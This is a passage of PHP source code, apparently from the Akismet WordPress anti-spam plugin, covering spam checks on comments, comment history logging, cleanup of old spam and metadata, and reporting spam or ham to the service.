Jetpack/WP.com * API call, and only if the new key is different than the old key. * * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ public static function updated_option( $old_value, $value ) { // Not an API call if ( ! class_exists( 'WPCOM_JSON_API_Update_Option_Endpoint' ) ) { return; } // Only run the registration if the old key is different. if ( $old_value !== $value ) { self::verify_key( $value ); } } /** * Treat the creation of an API key the same as updating the API key to a new value. * * @param mixed $option_name Will always be "wordpress_api_key", until something else hooks in here. * @param mixed $value The option value. */ public static function added_option( $option_name, $value ) { if ( 'wordpress_api_key' === $option_name ) { return self::updated_option( '', $value ); } } public static function rest_auto_check_comment( $commentdata ) { return self::auto_check_comment( $commentdata, 'rest_api' ); } /** * Check a comment for spam. * * @param array $commentdata * @param string $context What kind of request triggered this comment check? Possible values are 'default', 'rest_api', and 'xml-rpc'. * @return array|WP_Error Either the $commentdata array with additional entries related to its spam status * or a WP_Error, if it's a REST API request and the comment should be discarded. */ public static function auto_check_comment( $commentdata, $context = 'default' ) { // If no key is configured, then there's no point in doing any of this. if ( ! self::get_api_key() ) { return $commentdata; } self::$last_comment_result = null; // Skip the Akismet check if the comment matches the Disallowed Keys list. if ( function_exists( 'wp_check_comment_disallowed_list' ) ) { $comment_author = isset( $commentdata['comment_author'] ) ? $commentdata['comment_author'] : ''; $comment_author_email = isset( $commentdata['comment_author_email'] ) ? $commentdata['comment_author_email'] : ''; $comment_author_url = isset( $commentdata['comment_author_url'] ) ? $commentdata['comment_author_url'] : ''; $comment_content = isset( $commentdata['comment_content'] ) ? $commentdata['comment_content'] : ''; $comment_author_ip = isset( $commentdata['comment_author_IP'] ) ? $commentdata['comment_author_IP'] : ''; $comment_agent = isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : ''; if ( wp_check_comment_disallowed_list( $comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_ip, $comment_agent ) ) { self::set_last_comment( $commentdata ); return $commentdata; } } $comment = $commentdata; $comment['user_ip'] = self::get_ip_address(); $comment['user_agent'] = self::get_user_agent(); $comment['referrer'] = self::get_referer(); $comment['blog'] = get_option( 'home' ); $comment['blog_lang'] = get_locale(); $comment['blog_charset'] = get_option('blog_charset'); $comment['permalink'] = get_permalink( $comment['comment_post_ID'] ); if ( ! empty( $comment['user_ID'] ) ) { $comment['user_role'] = Akismet::get_user_roles( $comment['user_ID'] ); } /** See filter documentation in init_hooks(). */ $akismet_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); $comment['akismet_comment_nonce'] = 'inactive'; if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) { $comment['akismet_comment_nonce'] = 'failed'; if ( isset( $_POST['akismet_comment_nonce'] ) && wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) ) $comment['akismet_comment_nonce'] = 'passed'; // comment reply in wp-admin if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) && check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) ) $comment['akismet_comment_nonce'] = 'passed'; } if ( self::is_test_mode() ) $comment['is_test'] = 'true'; foreach( $_POST as $key => $value ) { if ( is_string( $value ) ) $comment["POST_{$key}"] = $value; } foreach ( $_SERVER as $key => $value ) { if ( ! is_string( $value ) ) { continue; } if ( preg_match( "/^HTTP_COOKIE/", $key ) ) { continue; } // Send any potentially useful $_SERVER vars, but avoid sending junk we don't need. if ( preg_match( "/^(HTTP_|REMOTE_ADDR|REQUEST_URI|DOCUMENT_URI)/", $key ) ) { $comment[ "$key" ] = $value; } } $post = get_post( $comment['comment_post_ID'] ); if ( ! is_null( $post ) ) { // $post can technically be null, although in the past, it's always been an indicator of another plugin interfering. $comment[ 'comment_post_modified_gmt' ] = $post->post_modified_gmt; // Tags and categories are important context in which to consider the comment. $comment['comment_context'] = array(); $tag_names = wp_get_post_tags( $post->ID, array( 'fields' => 'names' ) ); if ( $tag_names && ! is_wp_error( $tag_names ) ) { foreach ( $tag_names as $tag_name ) { $comment['comment_context'][] = $tag_name; } } $category_names = wp_get_post_categories( $post->ID, array( 'fields' => 'names' ) ); if ( $category_names && ! is_wp_error( $category_names ) ) { foreach ( $category_names as $category_name ) { $comment['comment_context'][] = $category_name; } } } /** * Filter the data that is used to generate the request body for the API call. * * @since 5.3.1 * * @param array $comment An array of request data. * @param string $endpoint The API endpoint being requested. */ $comment = apply_filters( 'akismet_request_args', $comment, 'comment-check' ); $response = self::http_post( self::build_query( $comment ), 'comment-check' ); do_action( 'akismet_comment_check_response', $response ); $commentdata['comment_as_submitted'] = array_intersect_key( $comment, self::$comment_as_submitted_allowed_keys ); // Also include any form fields we inject into the comment form, like ak_js foreach ( $_POST as $key => $value ) { if ( is_string( $value ) && strpos( $key, 'ak_' ) === 0 ) { $commentdata['comment_as_submitted'][ 'POST_' . $key ] = $value; } } $commentdata['akismet_result'] = $response[1]; if ( isset( $response[0]['x-akismet-pro-tip'] ) ) $commentdata['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip']; if ( isset( $response[0]['x-akismet-guid'] ) ) { $commentdata['akismet_guid'] = $response[0]['x-akismet-guid']; } if ( isset( $response[0]['x-akismet-error'] ) ) { // An error occurred that we anticipated (like a suspended key) and want the user to act on. // Send to moderation. self::$last_comment_result = '0'; } else if ( 'true' == $response[1] ) { // akismet_spam_count will be incremented later by comment_is_spam() self::$last_comment_result = 'spam'; $discard = ( isset( $commentdata['akismet_pro_tip'] ) && $commentdata['akismet_pro_tip'] === 'discard' && self::allow_discard() ); do_action( 'akismet_spam_caught', $discard ); if ( $discard ) { // The spam is obvious, so we're bailing out early. // akismet_result_spam() won't be called so bump the counter here if ( $incr = apply_filters( 'akismet_spam_count_incr', 1 ) ) { update_option( 'akismet_spam_count', get_option( 'akismet_spam_count' ) + $incr ); } if ( 'rest_api' === $context ) { return new WP_Error( 'akismet_rest_comment_discarded', __( 'Comment discarded.', 'akismet' ) ); } else if ( 'xml-rpc' === $context ) { // If this is a pingback that we're pre-checking, the discard behavior is the same as the normal spam response behavior. return $commentdata; } else { // Redirect back to the previous page, or failing that, the post permalink, or failing that, the homepage of the blog. $redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : ( $post ? get_permalink( $post ) : home_url() ); wp_safe_redirect( esc_url_raw( $redirect_to ) ); die(); } } else if ( 'rest_api' === $context ) { // The way the REST API structures its calls, we can set the comment_approved value right away. $commentdata['comment_approved'] = 'spam'; } } // if the response is neither true nor false, hold the comment for moderation and schedule a recheck if ( 'true' != $response[1] && 'false' != $response[1] ) { if ( !current_user_can('moderate_comments') ) { // Comment status should be moderated self::$last_comment_result = '0'; } if ( ! wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'invalid-response-' . $response[1] ); } self::$prevent_moderation_email_for_these_comments[] = $commentdata; } // Delete old comments daily if ( ! wp_next_scheduled( 'akismet_scheduled_delete' ) ) { wp_schedule_event( time(), 'daily', 'akismet_scheduled_delete' ); } self::set_last_comment( $commentdata ); self::fix_scheduled_recheck(); return $commentdata; } public static function get_last_comment() { return self::$last_comment; } public static function set_last_comment( $comment ) { if ( is_null( $comment ) ) { self::$last_comment = null; } else { // We filter it here so that it matches the filtered comment data that we'll have to compare against later. // wp_filter_comment expects comment_author_IP self::$last_comment = wp_filter_comment( array_merge( array( 'comment_author_IP' => self::get_ip_address() ), $comment ) ); } } // this fires on wp_insert_comment. we can't update comment_meta when auto_check_comment() runs // because we don't know the comment ID at that point. public static function auto_check_update_meta( $id, $comment ) { // wp_insert_comment() might be called in other contexts, so make sure this is the same comment // as was checked by auto_check_comment if ( is_object( $comment ) && !empty( self::$last_comment ) && is_array( self::$last_comment ) ) { if ( self::matches_last_comment( $comment ) ) { load_plugin_textdomain( 'akismet' ); // normal result: true or false if ( isset( self::$last_comment['akismet_result'] ) && self::$last_comment['akismet_result'] == 'true' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'true' ); self::update_comment_history( $comment->comment_ID, '', 'check-spam' ); if ( $comment->comment_approved != 'spam' ) { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } elseif ( isset( self::$last_comment['akismet_result'] ) && self::$last_comment['akismet_result'] == 'false' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'false' ); self::update_comment_history( $comment->comment_ID, '', 'check-ham' ); // Status could be spam or trash, depending on the WP version and whether this change applies: // https://core.trac.wordpress.org/changeset/34726 if ( $comment->comment_approved == 'spam' || $comment->comment_approved == 'trash' ) { if ( function_exists( 'wp_check_comment_disallowed_list' ) ) { if ( wp_check_comment_disallowed_list( $comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent ) ) { self::update_comment_history( $comment->comment_ID, '', 'wp-disallowed' ); } else { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } else { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } } elseif ( ! isset( self::$last_comment['akismet_result'] ) ) { // akismet_result isn't set, so the comment wasn't sent to Akismet. update_comment_meta( $comment->comment_ID, 'akismet_skipped', 'true' ); $caught_by_disallowed_list = false; if ( function_exists( 'wp_check_comment_disallowed_list' ) ) { $caught_by_disallowed_list = wp_check_comment_disallowed_list( $comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent ); } if ( $caught_by_disallowed_list ) { self::update_comment_history( $comment->comment_ID, '', 'wp-disallowed' ); self::update_comment_history( $comment->comment_ID, '', 'akismet-skipped-disallowed' ); } else { // Add a generic skipped history item. self::update_comment_history( $comment->comment_ID, '', 'akismet-skipped' ); } } else { // abnormal result: error update_comment_meta( $comment->comment_ID, 'akismet_error', time() ); self::update_comment_history( $comment->comment_ID, '', 'check-error', array( 'response' => substr( self::$last_comment['akismet_result'], 0, 50 ) ) ); } // record the complete original data as submitted for checking if ( isset( self::$last_comment['comment_as_submitted'] ) ) { update_comment_meta( $comment->comment_ID, 'akismet_as_submitted', self::$last_comment['comment_as_submitted'] ); } if ( isset( self::$last_comment['akismet_pro_tip'] ) ) { update_comment_meta( $comment->comment_ID, 'akismet_pro_tip', self::$last_comment['akismet_pro_tip'] ); } if ( isset( self::$last_comment['akismet_guid'] ) ) { update_comment_meta( $comment->comment_ID, 'akismet_guid', self::$last_comment['akismet_guid'] ); } } } } public static function delete_old_comments() { global $wpdb; /** * Determines how many comments will be deleted in each batch. * * @param int The default, as defined by AKISMET_DELETE_LIMIT. */ $delete_limit = apply_filters( 'akismet_delete_comment_limit', defined( 'AKISMET_DELETE_LIMIT' ) ? AKISMET_DELETE_LIMIT : 10000 ); $delete_limit = max( 1, intval( $delete_limit ) ); /** * Determines how many days a comment will be left in the Spam queue before being deleted. * * @param int The default number of days. */ $delete_interval = apply_filters( 'akismet_delete_comment_interval', 15 ); $delete_interval = max( 1, intval( $delete_interval ) ); while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_id FROM {$wpdb->comments} WHERE DATE_SUB(NOW(), INTERVAL %d DAY) > comment_date_gmt AND comment_approved = 'spam' LIMIT %d", $delete_interval, $delete_limit ) ) ) { if ( empty( $comment_ids ) ) return; $wpdb->queries = array(); $comments = array(); foreach ( $comment_ids as $comment_id ) { $comments[ $comment_id ] = get_comment( $comment_id ); do_action( 'delete_comment', $comment_id, $comments[ $comment_id ] ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); } // Prepared as strings since comment_id is an unsigned BIGINT, and using %d will constrain the value to the maximum signed BIGINT. $format_string = implode( ', ', array_fill( 0, is_countable( $comment_ids ) ? count( $comment_ids ) : 0, '%s' ) ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->comments} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) ); foreach ( $comment_ids as $comment_id ) { do_action( 'deleted_comment', $comment_id, $comments[ $comment_id ] ); unset( $comments[ $comment_id ] ); } clean_comment_cache( $comment_ids ); do_action( 'akismet_delete_comment_batch', is_countable( $comment_ids ) ? count( $comment_ids ) : 0 ); } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->comments ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->comments}"); } public static function delete_old_comments_meta() { global $wpdb; $interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 ); # enforce a minimum of 1 day $interval = absint( $interval ); if ( $interval < 1 ) $interval = 1; // akismet_as_submitted meta values are large, so expire them // after $interval days regardless of the comment status while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT m.comment_id FROM {$wpdb->commentmeta} as m INNER JOIN {$wpdb->comments} as c USING(comment_id) WHERE m.meta_key = 'akismet_as_submitted' AND DATE_SUB(NOW(), INTERVAL %d DAY) > c.comment_date_gmt LIMIT 10000", $interval ) ) ) { if ( empty( $comment_ids ) ) return; $wpdb->queries = array(); foreach ( $comment_ids as $comment_id ) { delete_comment_meta( $comment_id, 'akismet_as_submitted' ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); } do_action( 'akismet_delete_commentmeta_batch', is_countable( $comment_ids ) ? count( $comment_ids ) : 0 ); } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->commentmeta ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}"); } // Clear out comments meta that no longer have corresponding comments in the database public static function delete_orphaned_commentmeta() { global $wpdb; $last_meta_id = 0; $start_time = isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ? $_SERVER['REQUEST_TIME_FLOAT'] : microtime( true ); $max_exec_time = max( ini_get('max_execution_time') - 5, 3 ); while ( $commentmeta_results = $wpdb->get_results( $wpdb->prepare( "SELECT m.meta_id, m.comment_id, m.meta_key FROM {$wpdb->commentmeta} as m LEFT JOIN {$wpdb->comments} as c USING(comment_id) WHERE c.comment_id IS NULL AND m.meta_id > %d ORDER BY m.meta_id LIMIT 1000", $last_meta_id ) ) ) { if ( empty( $commentmeta_results ) ) return; $wpdb->queries = array(); $commentmeta_deleted = 0; foreach ( $commentmeta_results as $commentmeta ) { if ( 'akismet_' == substr( $commentmeta->meta_key, 0, 8 ) ) { delete_comment_meta( $commentmeta->comment_id, $commentmeta->meta_key ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); $commentmeta_deleted++; } $last_meta_id = $commentmeta->meta_id; } do_action( 'akismet_delete_commentmeta_batch', $commentmeta_deleted ); // If we're getting close to max_execution_time, quit for this round. if ( microtime(true) - $start_time > $max_exec_time ) return; } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->commentmeta ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}"); } // how many approved comments does this author have? public static function get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) { global $wpdb; /** * Which comment types should be ignored when counting a user's approved comments? * * Some plugins add entries to the comments table that are not actual * comments that could have been checked by Akismet. Allow these comments * to be excluded from the "approved comment count" query in order to * avoid artificially inflating the approved comment count. * * @param array $comment_types An array of comment types that won't be considered * when counting a user's approved comments. * * @since 4.2.2 */ $excluded_comment_types = apply_filters( 'akismet_excluded_comment_types', array() ); $comment_type_where = ''; if ( is_array( $excluded_comment_types ) && ! empty( $excluded_comment_types ) ) { $excluded_comment_types = array_unique( $excluded_comment_types ); foreach ( $excluded_comment_types as $excluded_comment_type ) { $comment_type_where .= $wpdb->prepare( ' AND comment_type <> %s ', $excluded_comment_type ); } } if ( ! empty( $user_id ) ) { return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_approved = 1" . $comment_type_where, $user_id ) ); } if ( ! empty( $comment_author_email ) ) { return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1" . $comment_type_where, $comment_author_email, $comment_author, $comment_author_url ) ); } return 0; } /** * Get the full comment history for a given comment, as an array in reverse chronological order. * Each entry will have an 'event', a 'time', and possible a 'message' member (if the entry is old enough). * Some entries will also have a 'user' or 'meta' member. * * @param int $comment_id The relevant comment ID. * @return array|bool An array of history events, or false if there is no history. */ public static function get_comment_history( $comment_id ) { $history = get_comment_meta( $comment_id, 'akismet_history', false ); if ( empty( $history ) || empty( $history[ 0 ] ) ) { return false; } /* // To see all variants when testing. $history[] = array( 'time' => 445856401, 'message' => 'Old versions of Akismet stored the message as a literal string in the commentmeta.', 'event' => null ); $history[] = array( 'time' => 445856402, 'event' => 'recheck-spam' ); $history[] = array( 'time' => 445856403, 'event' => 'check-spam' ); $history[] = array( 'time' => 445856404, 'event' => 'recheck-ham' ); $history[] = array( 'time' => 445856405, 'event' => 'check-ham' ); $history[] = array( 'time' => 445856406, 'event' => 'wp-blacklisted' ); $history[] = array( 'time' => 445856406, 'event' => 'wp-disallowed' ); $history[] = array( 'time' => 445856407, 'event' => 'report-spam' ); $history[] = array( 'time' => 445856408, 'event' => 'report-spam', 'user' => 'sam' ); $history[] = array( 'message' => 'sam reported this comment as spam (hardcoded message).', 'time' => 445856400, 'event' => 'report-spam', 'user' => 'sam' ); $history[] = array( 'time' => 445856409, 'event' => 'report-ham', 'user' => 'sam' ); $history[] = array( 'message' => 'sam reported this comment as ham (hardcoded message).', 'time' => 445856400, 'event' => 'report-ham', 'user' => 'sam' ); // $history[] = array( 'time' => 445856410, 'event' => 'cron-retry-spam' ); $history[] = array( 'time' => 445856411, 'event' => 'cron-retry-ham' ); $history[] = array( 'time' => 445856412, 'event' => 'check-error' ); // $history[] = array( 'time' => 445856413, 'event' => 'check-error', 'meta' => array( 'response' => 'The server was taking a nap.' ) ); $history[] = array( 'time' => 445856414, 'event' => 'recheck-error' ); // Should not generate a message. $history[] = array( 'time' => 445856415, 'event' => 'recheck-error', 'meta' => array( 'response' => 'The server was taking a nap.' ) ); $history[] = array( 'time' => 445856416, 'event' => 'status-changedtrash' ); $history[] = array( 'time' => 445856417, 'event' => 'status-changedspam' ); $history[] = array( 'time' => 445856418, 'event' => 'status-changedhold' ); $history[] = array( 'time' => 445856419, 'event' => 'status-changedapprove' ); $history[] = array( 'time' => 445856420, 'event' => 'status-changed-trash' ); $history[] = array( 'time' => 445856421, 'event' => 'status-changed-spam' ); $history[] = array( 'time' => 445856422, 'event' => 'status-changed-hold' ); $history[] = array( 'time' => 445856423, 'event' => 'status-changed-approve' ); $history[] = array( 'time' => 445856424, 'event' => 'status-trash', 'user' => 'sam' ); $history[] = array( 'time' => 445856425, 'event' => 'status-spam', 'user' => 'sam' ); $history[] = array( 'time' => 445856426, 'event' => 'status-hold', 'user' => 'sam' ); $history[] = array( 'time' => 445856427, 'event' => 'status-approve', 'user' => 'sam' ); $history[] = array( 'time' => 445856427, 'event' => 'webhook-spam' ); $history[] = array( 'time' => 445856427, 'event' => 'webhook-ham' ); $history[] = array( 'time' => 445856427, 'event' => 'webhook-spam-noaction' ); $history[] = array( 'time' => 445856427, 'event' => 'webhook-ham-noaction' ); */ usort( $history, array( 'Akismet', '_cmp_time' ) ); return $history; } /** * Log an event for a given comment, storing it in comment_meta. * * @param int $comment_id The ID of the relevant comment. * @param string $message The string description of the event. No longer used. * @param string $event The event code. * @param array $meta Metadata about the history entry. e.g., the user that reported or changed the status of a given comment. */ public static function update_comment_history( $comment_id, $message, $event=null, $meta=null ) { global $current_user; $user = ''; $event = array( 'time' => self::_get_microtime(), 'event' => $event, ); if ( is_object( $current_user ) && isset( $current_user->user_login ) ) { $event['user'] = $current_user->user_login; } if ( ! empty( $meta ) ) { $event['meta'] = $meta; } // $unique = false so as to allow multiple values per comment $r = add_comment_meta( $comment_id, 'akismet_history', $event, false ); } public static function check_db_comment( $id, $recheck_reason = 'recheck_queue' ) { global $wpdb; if ( ! self::get_api_key() ) { return new WP_Error( 'akismet-not-configured', __( 'Akismet is not configured. Please enter an API key.', 'akismet' ) ); } $c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $id ), ARRAY_A ); if ( ! $c ) { return new WP_Error( 'invalid-comment-id', __( 'Comment not found.', 'akismet' ) ); } $c['user_ip'] = $c['comment_author_IP']; $c['user_agent'] = $c['comment_agent']; $c['referrer'] = ''; $c['blog'] = get_option( 'home' ); $c['blog_lang'] = get_locale(); $c['blog_charset'] = get_option('blog_charset'); $c['permalink'] = get_permalink($c['comment_post_ID']); $c['recheck_reason'] = $recheck_reason; $c['user_role'] = ''; if ( ! empty( $c['user_ID'] ) ) { $c['user_role'] = Akismet::get_user_roles( $c['user_ID'] ); } if ( self::is_test_mode() ) $c['is_test'] = 'true'; $c = apply_filters( 'akismet_request_args', $c, 'comment-check' ); $response = self::http_post( self::build_query( $c ), 'comment-check' ); if ( ! empty( $response[1] ) ) { return $response[1]; } return false; } public static function recheck_comment( $id, $recheck_reason = 'recheck_queue' ) { add_comment_meta( $id, 'akismet_rechecking', true ); $api_response = self::check_db_comment( $id, $recheck_reason ); if ( is_wp_error( $api_response ) ) { // Invalid comment ID. } else if ( 'true' === $api_response ) { wp_set_comment_status( $id, 'spam' ); update_comment_meta( $id, 'akismet_result', 'true' ); delete_comment_meta( $id, 'akismet_error' ); delete_comment_meta( $id, 'akismet_delayed_moderation_email' ); Akismet::update_comment_history( $id, '', 'recheck-spam' ); } elseif ( 'false' === $api_response ) { update_comment_meta( $id, 'akismet_result', 'false' ); delete_comment_meta( $id, 'akismet_error' ); delete_comment_meta( $id, 'akismet_delayed_moderation_email' ); Akismet::update_comment_history( $id, '', 'recheck-ham' ); } else { // abnormal result: error update_comment_meta( $id, 'akismet_result', 'error' ); Akismet::update_comment_history( $id, '', 'recheck-error', array( 'response' => substr( $api_response, 0, 50 ) ) ); } delete_comment_meta( $id, 'akismet_rechecking' ); return $api_response; } public static function transition_comment_status( $new_status, $old_status, $comment ) { if ( $new_status == $old_status ) return; if ( 'spam' === $new_status || 'spam' === $old_status ) { // Clear the cache of the "X comments in your spam queue" count on the dashboard. wp_cache_delete( 'akismet_spam_count', 'widget' ); } # we don't need to record a history item for deleted comments if ( $new_status == 'delete' ) return; if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) && !current_user_can( 'moderate_comments' ) ) return; if ( defined('WP_IMPORTING') && WP_IMPORTING == true ) return; // if this is present, it means the status has been changed by a re-check, not an explicit user action if ( get_comment_meta( $comment->comment_ID, 'akismet_rechecking' ) ) return; if ( function_exists( 'getallheaders' ) ) { $request_headers = getallheaders(); foreach ( $request_headers as $header => $value ) { if ( strtolower( $header ) == 'x-akismet-webhook' ) { // This change is due to a webhook request. return; } } } // Assumption alert: // We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status // is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to // determine why the transition_comment_status action was triggered. And there are several different ways by which // to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others. // We'll assume that this is an explicit user action if certain POST/GET variables exist. if ( // status=spam: Marking as spam via the REST API or... // status=unspam: I'm not sure. Maybe this used to be used instead of status=approved? Or the UI for removing from spam but not approving has been since removed?... // status=approved: Unspamming via the REST API (Calypso) or... ( isset( $_POST['status'] ) && in_array( $_POST['status'], array( 'spam', 'unspam', 'approved', ) ) ) // spam=1: Clicking "Spam" underneath a comment in wp-admin and allowing the AJAX request to happen. || ( isset( $_POST['spam'] ) && (int) $_POST['spam'] == 1 ) // unspam=1: Clicking "Not Spam" underneath a comment in wp-admin and allowing the AJAX request to happen. Or, clicking "Undo" after marking something as spam. || ( isset( $_POST['unspam'] ) && (int) $_POST['unspam'] == 1 ) // comment_status=spam/unspam: It's unclear where this is happening. || ( isset( $_POST['comment_status'] ) && in_array( $_POST['comment_status'], array( 'spam', 'unspam' ) ) ) // action=spam: Choosing "Mark as Spam" from the Bulk Actions dropdown in wp-admin (or the "Spam it" link in notification emails). // action=unspam: Choosing "Not Spam" from the Bulk Actions dropdown in wp-admin. // action=spamcomment: Following the "Spam" link below a comment in wp-admin (not allowing AJAX request to happen). // action=unspamcomment: Following the "Not Spam" link below a comment in wp-admin (not allowing AJAX request to happen). || ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'spam', 'unspam', 'spamcomment', 'unspamcomment', ) ) ) // action=editedcomment: Editing a comment via wp-admin (and possibly changing its status). || ( isset( $_POST['action'] ) && in_array( $_POST['action'], array( 'editedcomment' ) ) ) // for=jetpack: Moderation via the WordPress app, Calypso, anything powered by the Jetpack connection. || ( isset( $_GET['for'] ) && ( 'jetpack' == $_GET['for'] ) && ( ! defined( 'IS_WPCOM' ) || ! IS_WPCOM ) ) // Certain WordPress.com API requests || ( defined( 'REST_API_REQUEST' ) && REST_API_REQUEST ) // WordPress.org REST API requests || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) { if ( $new_status == 'spam' && ( $old_status == 'approved' || $old_status == 'unapproved' || !$old_status ) ) { return self::submit_spam_comment( $comment->comment_ID ); } elseif ( $old_status == 'spam' && ( $new_status == 'approved' || $new_status == 'unapproved' ) ) { return self::submit_nonspam_comment( $comment->comment_ID ); } } self::update_comment_history( $comment->comment_ID, '', 'status-' . $new_status ); } public static function submit_spam_comment( $comment_id ) { global $wpdb, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ), ARRAY_A ); if ( ! $comment ) { // it was deleted return; } if ( 'spam' != $comment['comment_approved'] ) { return; } self::update_comment_history( $comment_id, '', 'report-spam' ); // If the user hasn't configured Akismet, there's nothing else to do at this point. if ( ! self::get_api_key() ) { return; } // use the original version stored in comment_meta if available $as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) ); if ( $as_submitted && is_array( $as_submitted ) && isset( $as_submitted['comment_content'] ) ) { $comment = array_merge( $comment, $as_submitted ); } $comment['blog'] = get_option( 'home' ); $comment['blog_lang'] = get_locale(); $comment['blog_charset'] = get_option( 'blog_charset' ); $comment['permalink'] = get_permalink( $comment['comment_post_ID'] ); if ( is_object( $current_user ) ) { $comment['reporter'] = $current_user->user_login; } if ( is_object( $current_site ) ) { $comment['site_domain'] = $current_site->domain; } $comment['user_role'] = ''; if ( ! empty( $comment['user_ID'] ) ) { $comment['user_role'] = self::get_user_roles( $comment['user_ID'] ); } if ( self::is_test_mode() ) { $comment['is_test'] = 'true'; } $post = get_post( $comment['comment_post_ID'] ); if ( ! is_null( $post ) ) { $comment['comment_post_modified_gmt'] = $post->post_modified_gmt; } $comment = apply_filters( 'akismet_request_args', $comment, 'submit-spam' ); $response = self::http_post( self::build_query( $comment ), 'submit-spam' ); update_comment_meta( $comment_id, 'akismet_user_result', 'true' ); if ( $comment['reporter'] ) { update_comment_meta( $comment_id, 'akismet_user', $comment['reporter'] ); } do_action('akismet_submit_spam_comment', $comment_id, $response[1]); } public static function submit_nonspam_comment( $comment_id ) { global $wpdb, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ), ARRAY_A ); if ( ! $comment ) { // it was deleted return; } self::update_comment_history( $comment_id, '', 'report-ham' ); // If the user hasn't configured Akismet, there's nothing else to do at this point. if ( ! self::get_api_key() ) { return; } // use the original version stored in comment_meta if available $as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) ); if ( $as_submitted && is_array( $as_submitted ) && isset( $as_submitted['comment_content'] ) ) { $comment = array_merge( $comment, $as_submitted ); } $comment['blog'] = get_option( 'home' ); $comment['blog_lang'] = get_locale(); $comment['blog_charset'] = get_option( 'blog_charset' ); $comment['permalink'] = get_permalink( $comment['comment_post_ID'] ); $comment['user_role'] = ''; if ( is_object( $current_user ) ) { $comment['reporter'] = $current_user->user_login; } if ( is_object( $current_site ) ) { $comment['site_domain'] = $current_site->domain; } if ( ! empty( $comment['user_ID'] ) ) { $comment['user_role'] = self::get_user_roles( $comment['user_ID'] ); } if ( self::is_test_mode() ) { $comment['is_test'] = 'true'; } $post = get_post( $comment['comment_post_ID'] ); if ( ! is_null( $post ) ) { $comment['comment_post_modified_gmt'] = $post->post_modified_gmt; } $comment = apply_filters( 'akismet_request_args', $comment, 'submit-ham' ); $response = self::http_post( self::build_query( $comment ), 'submit-ham' ); update_comment_meta( $comment_id, 'akismet_user_result', 'false' ); if ( $comment['reporter'] ) { update_comment_meta( $comment_id, 'akismet_user', $comment['reporter'] ); } do_action('akismet_submit_nonspam_comment', $comment_id, $response[1]); } public static function cron_recheck() { global $wpdb; $api_key = self::get_api_key(); $status = self::verify_key( $api_key ); if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) { // since there is currently a problem with the key, reschedule a check for 6 hours hence wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'key-problem-' . get_option( 'akismet_alert_code' ) . '-' . $status ); return false; } delete_option('akismet_available_servers'); $comment_errors = $wpdb->get_col( "SELECT comment_id FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error' LIMIT 100" ); load_plugin_textdomain( 'akismet' ); foreach ( (array) $comment_errors as 